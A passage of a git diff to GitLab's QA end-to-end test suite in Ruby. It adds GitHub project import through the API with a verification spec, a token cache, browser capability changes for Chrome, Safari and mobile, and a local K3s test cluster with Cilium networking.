+ self.api_client = Runtime::API::Client.as_admin
+
+ super
+ else
+ fabricate!
+ end
+
+ QA::Resource::PersonalAccessTokenCache.set_token_for_username(user.username, self.token)
+ resource
end
# When a user is not provided, use default user
@@ -66,6 +70,8 @@ module QA
# Expire in 2 days just in case the token is created just before midnight
token_page.fill_expiry_date(Time.now.utc.to_date + 2)
token_page.click_create_token_button
+
+ self.token = Page::Profile::PersonalAccessTokens.perform(&:created_access_token)
end
end
end
diff --git a/qa/qa/resource/personal_access_token_cache.rb b/qa/qa/resource/personal_access_token_cache.rb
new file mode 100644
index 00000000000..617779173bd
--- /dev/null
+++ b/qa/qa/resource/personal_access_token_cache.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+module QA
+ module Resource
+ class PersonalAccessTokenCache
+ @personal_access_tokens = {}
+
+ def self.get_token_for_username(username)
+ @personal_access_tokens[username]
+ end
+
+ def self.set_token_for_username(username, token)
+ @personal_access_tokens[username] = token
+ end
+ end
+ end
+end
diff --git a/qa/qa/resource/project.rb b/qa/qa/resource/project.rb
index f8cf816d6e4..d111b070863 100644
--- a/qa/qa/resource/project.rb
+++ b/qa/qa/resource/project.rb
@@ -9,21 +9,23 @@ module QA
include Members
include Visibility
- attr_accessor :repository_storage # requires admin access
- attr_writer :initialize_with_readme,
- :auto_devops_enabled,
- :github_personal_access_token,
- :github_repository_path
-
- attribute :id
- attribute :name
- attribute :add_name_uuid
- attribute :description
- attribute :standalone
- attribute :runners_token
- attribute :visibility
- attribute :template_name
- attribute :import
+ attr_accessor :repository_storage, # requires admin access
+ :initialize_with_readme,
+ :auto_devops_enabled,
+ :github_personal_access_token,
+ :github_repository_path
+
+ attributes :id,
+ :name,
+ :add_name_uuid,
+ :description,
+ :standalone,
+ :runners_token,
+ :visibility,
+ :template_name,
+ :import,
+ :import_status,
+ :import_error
attribute :group do
Group.fabricate!
diff --git a/qa/qa/resource/project_imported_from_github.rb b/qa/qa/resource/project_imported_from_github.rb
index 93cd166a191..214e8f517bb 100644
--- a/qa/qa/resource/project_imported_from_github.rb
+++ b/qa/qa/resource/project_imported_from_github.rb
@@ -1,25 +1,82 @@
# frozen_string_literal: true
-require 'securerandom'
+require 'octokit'
module QA
module Resource
class ProjectImportedFromGithub < Resource::Project
+ attribute :github_repo_id do
+ github_client.repository(github_repository_path).id
+ end
+
def fabricate!
self.import = true
Page::Main::Menu.perform(&:go_to_create_project)
+ go_to_import_page
+
+ Page::Project::Import::Github.perform do |import_page|
+ import_page.add_personal_access_token(github_personal_access_token)
+ import_page.import!(github_repository_path, name)
+ import_page.go_to_project(name)
+ end
+ end
+
+ def go_to_import_page
Page::Project::New.perform do |project_page|
project_page.click_import_project
project_page.click_github_link
end
+ end
- Page::Project::Import::Github.perform do |import_page|
- import_page.add_personal_access_token(@github_personal_access_token)
- import_page.import!(@github_repository_path, @name)
+ def fabricate_via_api!
+ super
+ rescue ResourceURLMissingError
+ "#{Runtime::Scenario.gitlab_address}/#{group.full_path}/#{name}"
+ end
+
+ def api_post_path
+ '/import/github'
+ end
+
+ def api_trigger_mirror_pull_path
+ "#{api_get_path}/mirror/pull"
+ end
+
+ def api_post_body
+ {
+ repo_id: github_repo_id,
+ new_name: name,
+ target_namespace: group.full_path,
+ personal_access_token: github_personal_access_token,
+ ci_cd_only: false
+ }
+ end
+
+ def transform_api_resource(api_resource)
+ api_resource
+ end
+
+ def trigger_project_mirror
+ Runtime::Logger.info "Triggering pull mirror request"
+
+ Support::Retrier.retry_until(max_attempts: 6, sleep_interval: 10) do
+ response = post(request_url(api_trigger_mirror_pull_path), nil)
+
+ Runtime::Logger.info "Mirror pull request response: #{response}"
+ response.code == Support::Api::HTTP_STATUS_OK
end
end
+
+ private
+
+ # Github client
+ #
+ # @return [Octokit::Client]
+ def github_client
+ @github_client ||= Octokit::Client.new(access_token: github_personal_access_token)
+ end
end
end
end
diff --git a/qa/qa/resource/project_imported_from_url.rb b/qa/qa/resource/project_imported_from_url.rb
new file mode 100644
index 00000000000..f159a174840
--- /dev/null
+++ b/qa/qa/resource/project_imported_from_url.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+require 'securerandom'
+
+module QA
+ module Resource
+ class ProjectImportedFromURL < Resource::Project
+ def fabricate!
+ self.import = true
+ super
+
+ group.visit!
+
+ Page::Group::Show.perform(&:go_to_new_project)
+
+ Page::Project::New.perform do |project_page|
+ project_page.click_import_project
+ project_page.click_repo_by_url_link
+ end
+
+ Page::Project::Import::RepoByURL.perform do |import_page|
+ import_page.import!(@gitlab_repository_path, @name)
+ end
+ end
+ end
+ end
+end
diff --git a/qa/qa/resource/repository/wiki_push.rb b/qa/qa/resource/repository/wiki_push.rb
index edf76c7cd78..aa69d831bff 100644
--- a/qa/qa/resource/repository/wiki_push.rb
+++ b/qa/qa/resource/repository/wiki_push.rb
@@ -16,7 +16,6 @@ module QA
@file_name = 'Home.md'
@file_content = 'This line was created using git push'
@commit_message = 'Updating using git push'
- @branch_name = 'master'
@new_branch = false
end
diff --git a/qa/qa/resource/user.rb b/qa/qa/resource/user.rb
index 8957dbcbe84..c424d7319fe 100644
--- a/qa/qa/resource/user.rb
+++ b/qa/qa/resource/user.rb
@@ -25,7 +25,7 @@ module QA
end
def self.default
- Resource::User.new.tap do |user|
+ Resource::User.init do |user|
user.username = Runtime::User.ldap_user? ? Runtime::User.ldap_username : Runtime::User.username
user.password = Runtime::User.ldap_user? ? Runtime::User.ldap_password : Runtime::User.password
end
diff --git a/qa/qa/runtime/allure_report.rb b/qa/qa/runtime/allure_report.rb
index 5e9ae3e7bbe..bcfdb09e09f 100644
--- a/qa/qa/runtime/allure_report.rb
+++ b/qa/qa/runtime/allure_report.rb
@@ -1,5 +1,7 @@
# frozen_string_literal: true
+require 'active_support/core_ext/enumerable'
+
module QA
module Runtime
class AllureReport
@@ -29,6 +31,7 @@ module QA
AllureRspec.configure do |config|
config.results_directory = 'tmp/allure-results'
config.clean_results_directory = true
+ config.environment_properties = environment_info if Env.running_in_ci?
# Set custom environment name to separate same specs executed on different environments
if Env.running_in_ci? && Env.ci_job_name.match?(env_matcher)
@@ -66,19 +69,48 @@ module QA
RSpec.configure do |config|
config.formatter = AllureRspecFormatter
- config.before do |example|
+ config.after do |example|
next if example.attempts && example.attempts > 0
testcase = example.metadata[:testcase]
example.tms('Testcase', testcase) if testcase
- issue = example.metadata.dig(:quarantine, :issue)
- example.issue('Issue', issue) if issue
+ quarantine_issue = example.metadata.dig(:quarantine, :issue)
+ example.issue('Quarantine issue', quarantine_issue) if quarantine_issue
+
+ spec_file = example.file_path.split('/').last
+ example.issue(
+ 'Failure issues',
+ "https://gitlab.com/gitlab-org/gitlab/-/issues?scope=all&state=opened&search=#{spec_file}"
+ )
example.add_link(name: "Job(#{Env.ci_job_name})", url: Env.ci_job_url) if Env.running_in_ci?
end
end
end
+
+ # Custom environment info hash
+ #
+ # @return [Hash]
+ def environment_info
+ %w[
+ CI_COMMIT_SHA
+ CI_MERGE_REQUEST_SOURCE_BRANCH_SHA
+ CI_MERGE_REQUEST_IID
+ TOP_UPSTREAM_SOURCE_SHA
+ TOP_UPSTREAM_MERGE_REQUEST_IID
+ DEPLOY_VERSION
+ GITLAB_VERSION
+ GITLAB_SHELL_VERSION
+ GITLAB_ELASTICSEARCH_INDEXER_VERSION
+ GITLAB_KAS_VERSION
+ GITLAB_WORKHORSE_VERSION
+ GITLAB_PAGES_VERSION
+ GITALY_SERVER_VERSION
+ QA_IMAGE
+ QA_BROWSER
+ ].index_with { |val| ENV[val] }.compact_blank
+ end
end
end
end
diff --git a/qa/qa/runtime/browser.rb b/qa/qa/runtime/browser.rb
index 3fe8552c063..e13061e2648 100644
--- a/qa/qa/runtime/browser.rb
+++ b/qa/qa/runtime/browser.rb
@@ -5,6 +5,8 @@ require 'rspec/expectations'
require 'capybara/rspec'
require 'capybara-screenshot/rspec'
require 'selenium-webdriver'
+require 'webdrivers/chromedriver'
+require 'webdrivers/geckodriver'
require 'gitlab_handbook'
@@ -66,61 +68,82 @@ module QA
return if Capybara.drivers.include?(:chrome)
Capybara.register_driver QA::Runtime::Env.browser do |app|
- capabilities = Selenium::WebDriver::Remote::Capabilities.send(QA::Runtime::Env.browser,
- # This enables access to logs with `page.driver.manage.get_log(:browser)`
- loggingPrefs: {
- browser: "ALL",
- client: "ALL",
- driver: "ALL",
- server: "ALL"
- })
-
- if QA::Runtime::Env.accept_insecure_certs?
- capabilities['acceptInsecureCerts'] = true
- end
+ capabilities = Selenium::WebDriver::Remote::Capabilities.send(QA::Runtime::Env.browser)
- # QA::Runtime::Env.browser.capitalize will work for every driver type except PhantomJS.
- # We will have no use to use PhantomJS so this shouldn't be a problem.
- options = Selenium::WebDriver.const_get(QA::Runtime::Env.browser.capitalize, false)::Options.new
+ case QA::Runtime::Env.browser
+ when :chrome
+ if QA::Runtime::Env.accept_insecure_certs?
+ capabilities['acceptInsecureCerts'] = true
+ end
- if QA::Runtime::Env.browser == :chrome
- options.add_argument("window-size=1480,2200")
+ # set logging preferences
+ # this enables access to logs with `page.driver.manage.get_log(:browser)`
+ capabilities['goog:loggingPrefs'] = {
+ browser: 'ALL',
+ client: 'ALL',
+ driver: 'ALL',
+ server: 'ALL'
+ }
# Chrome won't work properly in a Docker container in sandbox mode
- options.add_argument("no-sandbox")
+ capabilities['goog:chromeOptions'] = {
+ args: %w[no-sandbox]
+ }
- # Run headless by default unless CHROME_HEADLESS is false
- if QA::Runtime::Env.chrome_headless?
- options.add_argument("headless")
+ # Run headless by default unless WEBDRIVER_HEADLESS is false
+ if QA::Runtime::Env.webdriver_headless?
+ capabilities['goog:chromeOptions'][:args] << 'headless'
# Chrome documentation says this flag is needed for now
# https://developers.google.com/web/updates/2017/04/headless-chrome#cli
- options.add_argument("disable-gpu")
+ capabilities['goog:chromeOptions'][:args] << 'disable-gpu'
end
# Disable /dev/shm use in CI. See https://gitlab.com/gitlab-org/gitlab/issues/4252
- options.add_argument("disable-dev-shm-usage") if QA::Runtime::Env.running_in_ci?
+ capabilities['goog:chromeOptions'][:args] << 'disable-dev-shm-usage' if QA::Runtime::Env.running_in_ci?
# Specify the user-agent to allow challenges to be bypassed
# See https://gitlab.com/gitlab-com/gl-infra/infrastructure/-/issues/11938
- options.add_argument("user-agent=#{QA::Runtime::Env.user_agent}") if QA::Runtime::Env.user_agent
+ capabilities['goog:chromeOptions'][:args] << "user-agent=#{QA::Runtime::Env.user_agent}" if QA::Runtime::Env.user_agent
+
+ if QA::Runtime::Env.remote_mobile_device_name
+ capabilities['platformName'] = 'Android'
+ capabilities['appium:deviceName'] = QA::Runtime::Env.remote_mobile_device_name
+ capabilities['appium:platformVersion'] = 'latest'
+ else
+ capabilities['goog:chromeOptions'][:args] << 'window-size=1480,2200'
+ end
+
+ when :safari
+ if QA::Runtime::Env.remote_mobile_device_name
+ capabilities['platformName'] = 'iOS'
+ capabilities['appium:deviceName'] = QA::Runtime::Env.remote_mobile_device_name
+ capabilities['appium:platformVersion'] = 'latest'
+ end
+
+ when :firefox
+ if QA::Runtime::Env.accept_insecure_certs?
+ capabilities['acceptInsecureCerts'] = true
+ end
end
# Use the same profile on QA runs if CHROME_REUSE_PROFILE is true.
# Useful to speed up local QA.
if QA::Runtime::Env.reuse_chrome_profile?
qa_profile_dir = ::File.expand_path('../../tmp/qa-profile', __dir__)
- options.add_argument("user-data-dir=#{qa_profile_dir}")
+ capabilities['goog:chromeOptions'][:args] << "user-data-dir=#{qa_profile_dir}"
end
selenium_options = {
browser: QA::Runtime::Env.browser,
clear_local_storage: true,
- desired_capabilities: capabilities,
- options: options
+ capabilities: capabilities
}
- selenium_options[:url] = QA::Runtime::Env.remote_grid if QA::Runtime::Env.remote_grid
+ if QA::Runtime::Env.remote_grid
+ selenium_options[:url] = QA::Runtime::Env.remote_grid
+ capabilities[:browserVersion] = 'latest'
+ end
Capybara::Selenium::Driver.new(
app,
@@ -158,6 +181,7 @@ module QA
config.browser = Capybara.current_session.driver.browser # reuse Capybara session
config.libraries = [GitlabHandbook]
config.base_url = Runtime::Scenario.attributes[:gitlab_address] # reuse GitLab address
+ config.hide_banner = true
end
end
# rubocop: enable Metrics/AbcSize
diff --git a/qa/qa/runtime/env.rb b/qa/qa/runtime/env.rb
index ccb87147a6e..5cac811d95b 100644
--- a/qa/qa/runtime/env.rb
+++ b/qa/qa/runtime/env.rb
@@ -1,5 +1,6 @@
# frozen_string_literal: true
+require 'active_support/deprecation'
require 'gitlab/qa'
require 'uri'
@@ -64,8 +65,14 @@ module QA
ENV['QA_LOG_PATH'] || $stdout
end
- # set to 'false' to have Chrome run visibly instead of headless
- def chrome_headless?
+ # set to 'false' to have the browser run visibly instead of headless
+ def webdriver_headless?
+ if ENV.key?('CHROME_HEADLESS')
+ ActiveSupport::Deprecation.warn("CHROME_HEADLESS is deprecated. Use WEBDRIVER_HEADLESS instead.")
+ end
+
+ return enabled?(ENV['WEBDRIVER_HEADLESS']) unless ENV['WEBDRIVER_HEADLESS'].nil?
+
enabled?(ENV['CHROME_HEADLESS'])
end
@@ -139,6 +146,10 @@ module QA
ENV['QA_BROWSER'].nil? ? :chrome : ENV['QA_BROWSER'].to_sym
end
+ def remote_mobile_device_name
+ ENV['QA_REMOTE_MOBILE_DEVICE_NAME']
+ end
+
def user_username
ENV['GITLAB_USERNAME']
end
@@ -327,7 +338,7 @@ module QA
# the feature is supported in the environment under test.
# All features are supported by default.
def can_test?(feature)
- raise ArgumentError, %Q(Unknown feature "#{feature}") unless SUPPORTED_FEATURES.include? feature
+ raise ArgumentError, %(Unknown feature "#{feature}") unless SUPPORTED_FEATURES.include? feature
enabled?(ENV[SUPPORTED_FEATURES[feature]], default: true)
end
@@ -385,11 +396,17 @@ module QA
ENV.fetch('GITLAB_QA_TRANSIENT_TRIALS', 10).to_i
end
+ def gitlab_tls_certificate
+ ENV['GITLAB_TLS_CERTIFICATE']
+ end
+
private
def remote_grid_credentials
if remote_grid_username
- raise ArgumentError, %Q(Please provide an access key for user "#{remote_grid_username}") unless remote_grid_access_key
+ unless remote_grid_access_key
+ raise ArgumentError, %(Please provide an access key for user "#{remote_grid_username}")
+ end
return "#{remote_grid_username}:#{remote_grid_access_key}@"
end
diff --git a/qa/qa/scenario/test/integration/registry.rb b/qa/qa/scenario/test/integration/registry.rb
new file mode 100644
index 00000000000..28b74c99ab3
--- /dev/null
+++ b/qa/qa/scenario/test/integration/registry.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+module QA
+ module Scenario
+ module Test
+ module Integration
+ class Registry < Test::Instance::All
+ tags :registry
+ end
+ end
+ end
+ end
+end
diff --git a/qa/qa/service/cluster_provider/k3s_cilium.rb b/qa/qa/service/cluster_provider/k3s_cilium.rb
new file mode 100644
index 00000000000..5b529caa20b
--- /dev/null
+++ b/qa/qa/service/cluster_provider/k3s_cilium.rb
@@ -0,0 +1,93 @@
+# frozen_string_literal: true
+
+module QA
+ module Service
+ module ClusterProvider
+ class K3sCilium < K3s
+ def setup
+ @k3s = Service::DockerRun::K3s.new.tap do |k3s|
+ k3s.remove!
+ k3s.cni_enabled = true
+ k3s.register!
+
+ shell "kubectl config set-cluster k3s --server https://#{k3s.host_name}:6443 --insecure-skip-tls-verify"
+ shell 'kubectl config set-credentials default --username=node --password=some-secret'
+ shell 'kubectl config set-context k3s --cluster=k3s --user=default'
+ shell 'kubectl config use-context k3s'
+
+ wait_for_server(k3s.host_name) do
+ shell 'kubectl version'
+ # install local storage
+ shell 'kubectl apply -f https://raw.githubusercontent.com/rancher/local-path-provisioner/master/deploy/local-path-storage.yaml'
+
+ # patch local storage
+ shell %(kubectl patch storageclass local-path -p '{"metadata": {"annotations":{"storageclass.kubernetes.io/is-default-class":"true"}}}')
+ shell 'kubectl create -f https://raw.githubusercontent.com/cilium/cilium/v1.8/install/kubernetes/quick-install.yaml'
+
+ wait_for_namespaces do
+ wait_for_cilium
+ wait_for_coredns do
+ shell 'kubectl create -f https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-0.31.0/deploy/static/provider/cloud/deploy.yaml'
+ wait_for_ingress
+ end
+ end
+ end
+ end
+ end
+
+ private
+
+ def wait_for_cilium
+ QA::Runtime::Logger.info 'Waiting for Cilium pod to be initialized'
+
+ 60.times do
+ if service_available?('kubectl get pods --all-namespaces -l k8s-app=cilium --no-headers=true | grep -o "cilium-.*1/1"')
+ return yield if block_given?
+
+ return true
+ end
+
+ sleep 1
+ QA::Runtime::Logger.info '.'
+ end
+
+ raise 'Cilium pod has not initialized correctly'
+ end
+
+ def wait_for_coredns
+ QA::Runtime::Logger.info 'Waiting for CoreDNS pod to be initialized'
+
+ 60.times do
+ if service_available?('kubectl get pods --all-namespaces --no-headers=true | grep -o "coredns.*1/1"')
+ return yield if block_given?
+
+ return true
+ end
+
+ sleep 1
+ QA::Runtime::Logger.info '.'
+ end
+
+ raise 'CoreDNS pod has not been initialized correctly'
+ end
+
+ def wait_for_ingress
+ QA::Runtime::Logger.info 'Waiting for Ingress controller pod to be initialized'
+
+ 60.times do
+ if service_available?('kubectl get pods --all-namespaces -l app.kubernetes.io/component=controller | grep -o "ingress-nginx-controller.*1/1"')
+ return yield if block_given?
+
+ return true
+ end
+
+ sleep 1
+ QA::Runtime::Logger.info '.'
+ end
+
+ raise 'Ingress pod has not been initialized correctly'
+ end
+ end
+ end
+ end
+end
diff --git a/qa/qa/service/docker_run/gitlab_runner.rb b/qa/qa/service/docker_run/gitlab_runner.rb
index a5b129eb1f9..63fbf758231 100644
--- a/qa/qa/service/docker_run/gitlab_runner.rb
+++ b/qa/qa/service/docker_run/gitlab_runner.rb
@@ -38,11 +38,10 @@ module QA
def register!
shell <<~CMD.tr("\n", ' ')
- docker run -d --rm --entrypoint=/bin/sh
- --network #{runner_network} --name #{@name}
+ docker run -d --rm --network #{runner_network} --name #{@name}
#{'-v /var/run/docker.sock:/var/run/docker.sock' if @executor == :docker}
--privileged
- #{@image} -c "#{register_command}"
+ #{@image} #{add_gitlab_tls_cert if @address.include? "https"} && docker exec --detach #{@name} sh -c "#{register_command}"
CMD
# Prove airgappedness
@@ -82,6 +81,7 @@ module QA
args << '--docker-tlsverify=false'
args << '--docker-privileged=true'
args << "--docker-network-mode=#{network}"
+ args << "--docker-volumes=/certs/client"
end
<<~CMD.strip
@@ -102,6 +102,16 @@ module QA
wget --retry-connrefused --waitretry=1 --read-timeout=15 --timeout=10 -t 2 http://registry.gitlab.com > /dev/null 2>&1 && (echo "Airgapped network faulty. Connectivity wget check failed." && exit 1) || (echo "Airgapped network confirmed. Connectivity wget check passed." && exit 0)
CMD
end
+
+ def add_gitlab_tls_cert
+ gitlab_tls_certificate = Tempfile.new('gitlab-cert')
+ gitlab_tls_certificate.write(Runtime::Env.gitlab_tls_certificate)
+ gitlab_tls_certificate.close
+
+ <<~CMD
+ && docker cp #{gitlab_tls_certificate.path} #{@name}:/etc/gitlab-runner/certs/gitlab.test.crt
+ CMD
+ end
end
end
end
diff --git a/qa/qa/service/docker_run/k3s.rb b/qa/qa/service/docker_run/k3s.rb
index 07211b220f1..a09b62cb613 100644
--- a/qa/qa/service/docker_run/k3s.rb
+++ b/qa/qa/service/docker_run/k3s.rb
@@ -4,15 +4,20 @@ module QA
module Service
module DockerRun
class K3s < Base
+ attr_accessor :cni_enabled
+
def initialize
- @image = 'registry.gitlab.com/gitlab-org/cluster-integration/test-utils/k3s-gitlab-ci/releases/v0.6.1'
+ @image = 'registry.gitlab.com/gitlab-org/cluster-integration/test-utils/k3s-gitlab-ci/releases/v0.9.1'
@name = 'k3s'
+ @cni_enabled = false
super
end
def register!
pull
start_k3s
+ # Mount the berkeley packet filter if container network interface is enabled
+ mount_bpf if @cni_enabled
end
def host_name
@@ -36,12 +41,20 @@ module QA
#{@image} server
--cluster-secret some-secret
--no-deploy traefik
+ #{@cni_enabled ? '--no-flannel' : ''}
CMD
command.gsub!("--network #{network} --hostname #{host_name}", '') unless QA::Runtime::Env.running_in_ci?
shell command
end
+
+ private
+
+ def mount_bpf
+ shell "docker exec --privileged k3s mount bpffs -t bpf /sys/fs/bpf"
+ shell "docker exec --privileged k3s mount --make-shared bpffs -t bpf /sys/fs/bpf"
+ end
end
end
end
diff --git a/qa/qa/service/kubernetes_cluster.rb b/qa/qa/service/kubernetes_cluster.rb
index ddf97046fb0..adef1b46af2 100644
--- a/qa/qa/service/kubernetes_cluster.rb
+++ b/qa/qa/service/kubernetes_cluster.rb
@@ -51,6 +51,30 @@ module QA
shell('kubectl apply -f -', stdin_data: manifest)
end
+ def add_sample_policy(project, policy_name: 'sample-policy')
+ namespace = "#{project.name}-#{project.id}-production"
+ network_policy = <<~YAML
+ apiVersion: "cilium.io/v2"
+ kind: CiliumNetworkPolicy
+ metadata:
+ name: #{policy_name}
+ namespace: #{namespace}
+ spec:
+ endpointSelector:
+ matchLabels:
+ role: backend
+ ingress:
+ - fromEndpoints:
+ - matchLabels:
+ role: frontend
+ YAML
+ shell('kubectl apply -f -', stdin_data: network_policy)
+ end
+
+ def fetch_external_ip_for_ingress
+ `kubectl get svc --all-namespaces --no-headers=true -l app.kubernetes.io/name=ingress-nginx -o custom-columns=:'status.loadBalancer.ingress[0].ip' | grep -v 'none'`
+ end
+
private
def fetch_api_url
diff --git a/qa/qa/specs/features/api/1_manage/import_github_repo_spec.rb b/qa/qa/specs/features/api/1_manage/import_github_repo_spec.rb
new file mode 100644
index 00000000000..1b873d35d75
--- /dev/null
+++ b/qa/qa/specs/features/api/1_manage/import_github_repo_spec.rb
@@ -0,0 +1,133 @@
+# frozen_string_literal: true
+
+module QA
+ RSpec.describe 'Manage', :github, :requires_admin do
+ describe 'Project import' do
+ let!(:api_client) { Runtime::API::Client.as_admin }
+ let!(:group) { Resource::Group.fabricate_via_api! { |resource| resource.api_client = api_client } }
+ let!(:user) do
+ Resource::User.fabricate_via_api! do |resource|
+ resource.api_client = api_client
+ resource.hard_delete_on_api_removal = true
+ end
+ end
+
+ let(:imported_project) do
+ Resource::ProjectImportedFromGithub.fabricate_via_api! do |project|
+ project.name = 'imported-project'
+ project.group = group
+ project.github_personal_access_token = Runtime::Env.github_access_token
+ project.github_repository_path = 'gitlab-qa-github/test-project'
+ project.api_client = api_client
+ end
+ end
+
+ before do
+ group.add_member(user, Resource::Members::AccessLevel::MAINTAINER)
+ end
+
+ after do
+ user.remove_via_api!
+ end
+
+ it 'imports Github repo via api', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1858' do
+ imported_project # import the project
+
+ expect { imported_project.reload!.import_status }.to eventually_eq('finished').within(duration: 90)
+
+ aggregate_failures do
+ verify_repository_import
+ verify_commits_import
+ verify_labels_import
+ verify_issues_import
+ verify_milestones_import
+ verify_wikis_import
+ verify_merge_requests_import
+ end
+ end
+
+ def verify_repository_import
+ expect(imported_project.api_response).to include(
+ description: 'A new repo for test',
+ import_error: nil
+ )
+ end
+
+ def verify_commits_import
+ expect(imported_project.commits.length).to eq(20)
+ end
+
+ def verify_labels_import
+ labels = imported_project.labels.map { |label| label.slice(:name, :color) }
+
+ expect(labels).to include(
+ { name: 'bug', color: '#d73a4a' },
+ { name: 'custom new label', color: '#fc8f91' },
+ { name: 'documentation', color: '#0075ca' },
+ { name: 'duplicate', color: '#cfd3d7' },
+ { name: 'enhancement', color: '#a2eeef' },
+ { name: 'good first issue', color: '#7057ff' },
+ { name: 'help wanted', color: '#008672' },
+ { name: 'invalid', color: '#e4e669' },
+ { name: 'question', color: '#d876e3' },
+ { name: 'wontfix', color: '#ffffff' }
+ )
+ end
+
+ def verify_issues_import
+ issues = imported_project.issues
+
+ expect(issues.length).to eq(1)
+ expect(issues.first).to include(
+ title: 'This is a sample issue',
+ description: "*Created by: gitlab-qa-github*\n\nThis is a sample first comment",
+ labels: ['custom new label', 'good first issue', 'help wanted'],
+ user_notes_count: 1
+ )
+ end
+
+ def verify_milestones_import
+ milestones = imported_project.milestones
+
+ expect(milestones.length).to eq(1)
+ expect(milestones.first).to include(title: 'v1.0', description: nil, state: 'active')
+ end
+
+ def verify_wikis_import
+ wikis = imported_project.wikis
+
+ expect(wikis.length).to eq(1)
+ expect(wikis.first).to include(title: 'Home', format: 'markdown')
+ end
+
+ def verify_merge_requests_import
+ merge_requests = imported_project.merge_requests
+ merge_request = Resource::MergeRequest.init do |mr|
+ mr.project = imported_project
+ mr.iid = merge_requests.first[:iid]
+ mr.api_client = api_client
+ end.reload!
+ mr_comments = merge_request.comments.map { |comment| comment[:body] } # rubocop:disable Rails/Pluck
+
+ expect(merge_requests.length).to eq(1)
+ expect(merge_request.api_resource).to include(
+ title: 'Improve readme',
+ state: 'opened',
+ target_branch: 'main',
+ source_branch: 'improve-readme',
+ labels: %w[bug documentation],
+ description: <<~DSC.strip
+ *Created by: gitlab-qa-github*\n\nThis improves the README file a bit.\r\n\r\nTODO:\r\n\r\n \r\n\r\n- [ ] Do foo\r\n- [ ] Make bar\r\n - [ ] Think about baz
+ DSC
+ )
+ expect(mr_comments).to eq(
+ [
+ "*Created by: gitlab-qa-github*\n\n[PR comment by @sliaquat] Nice work! ",
+ "*Created by: gitlab-qa-github*\n\n[Single diff comment] Nice addition",
+ "*Created by: gitlab-qa-github*\n\n[Single diff comment] Good riddance"
+ ]
+ )
+ end
+ end
+ end
+end
diff --git a/qa/qa/specs/features/api/3_create/gitaly/distributed_reads_spec.rb b/qa/qa/specs/features/api/3_create/gitaly/distributed_reads_spec.rb
index 08b71258cc6..6c70c09c7ab 100644
--- a/qa/qa/specs/features/api/3_create/gitaly/distributed_reads_spec.rb
+++ b/qa/qa/specs/features/api/3_create/gitaly/distributed_reads_spec.rb
@@ -5,8 +5,7 @@ require 'parallel'
module QA
RSpec.describe 'Create' do
context 'Gitaly' do
- # Issue to track removal of feature flag: https://gitlab.com/gitlab-org/quality/team-tasks/-/issues/602
- describe 'Distributed reads', :orchestrated, :gitaly_cluster, :skip_live_env, :requires_admin, quarantine: { issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/322814', type: :investigating } do
+ describe 'Distributed reads', :orchestrated, :gitaly_cluster, :skip_live_env, :requires_admin do
let(:number_of_reads_per_loop) { 9 }
let(:praefect_manager) { Service::PraefectManager.new }
let(:project) do
@@ -17,14 +16,9 @@ module QA
end
before do
- Runtime::Feature.enable(:gitaly_distributed_reads)
praefect_manager.wait_for_replication(project.id)
end
- after do
- Runtime::Feature.disable(:gitaly_distributed_reads)
- end
-
it 'reads from each node', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/979' do
pre_read_data = praefect_manager.query_read_distribution
diff --git a/qa/qa/specs/features/api/3_create/gitaly/praefect_replication_queue_spec.rb b/qa/qa/specs/features/api/3_create/gitaly/praefect_replication_queue_spec.rb
index 396d3f52798..7e924475437 100644
--- a/qa/qa/specs/features/api/3_create/gitaly/praefect_replication_queue_spec.rb
+++ b/qa/qa/specs/features/api/3_create/gitaly/praefect_replication_queue_spec.rb
@@ -4,7 +4,7 @@ require 'parallel'
module QA
RSpec.describe 'Create' do
- context 'Gitaly Cluster replication queue', :orchestrated, :gitaly_cluster, :skip_live_env, quarantine: { issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/331989', type: :investigating } do
+ context 'Gitaly Cluster replication queue', :orchestrated, :gitaly_cluster, :skip_live_env do
let(:praefect_manager) { Service::PraefectManager.new }
let(:project) do
Resource::Project.fabricate! do |project|
diff --git a/qa/qa/specs/features/api/3_create/merge_request/push_options_mwps_spec.rb b/qa/qa/specs/features/api/3_create/merge_request/push_options_mwps_spec.rb
index dde4708874d..157a9e92817 100644
--- a/qa/qa/specs/features/api/3_create/merge_request/push_options_mwps_spec.rb
+++ b/qa/qa/specs/features/api/3_create/merge_request/push_options_mwps_spec.rb
@@ -64,7 +64,7 @@ module QA
merge_request = Resource::MergeRequest.fabricate_via_api! do |mr|
mr.project = project
- mr.id = merge_request[:iid]
+ mr.iid = merge_request[:iid]
end
expect(merge_request.state).to eq('opened')
@@ -109,7 +109,7 @@ module QA
merge_request = Support::Waiter.wait_until(sleep_interval: 5) do
mr = Resource::MergeRequest.fabricate_via_api! do |mr|
mr.project = project
- mr.id = merge_request[:iid]
+ mr.iid = merge_request[:iid]
end
next unless mr.state == 'merged'
diff --git a/qa/qa/specs/features/api/3_create/merge_request/push_options_remove_source_branch_spec.rb b/qa/qa/specs/features/api/3_create/merge_request/push_options_remove_source_branch_spec.rb
index bf2ecfdb513..eb93f4cd5cb 100644
--- a/qa/qa/specs/features/api/3_create/merge_request/push_options_remove_source_branch_spec.rb
+++ b/qa/qa/specs/features/api/3_create/merge_request/push_options_remove_source_branch_spec.rb
@@ -34,7 +34,7 @@ module QA
merge_request = Resource::MergeRequest.fabricate_via_api! do |mr|
mr.project = project
- mr.id = merge_request[:iid]
+ mr.iid = merge_request[:iid]
end.merge_via_api!
expect(merge_request[:state]).to eq('merged')
diff --git a/qa/qa/specs/features/api/3_create/merge_request/push_options_target_branch_spec.rb b/qa/qa/specs/features/api/3_create/merge_request/push_options_target_branch_spec.rb
index e02d32bc4c7..799efc243d4 100644
--- a/qa/qa/specs/features/api/3_create/merge_request/push_options_target_branch_spec.rb
+++ b/qa/qa/specs/features/api/3_create/merge_request/push_options_target_branch_spec.rb
@@ -55,7 +55,7 @@ module QA
merge_request = Resource::MergeRequest.fabricate_via_api! do |mr|
mr.project = project
- mr.id = merge_request[:iid]
+ mr.iid = merge_request[:iid]
end.merge_via_api!
expect(merge_request[:state]).to eq('merged')
diff --git a/qa/qa/specs/features/api/3_create/merge_request/push_options_title_description_spec.rb b/qa/qa/specs/features/api/3_create/merge_request/push_options_title_description_spec.rb
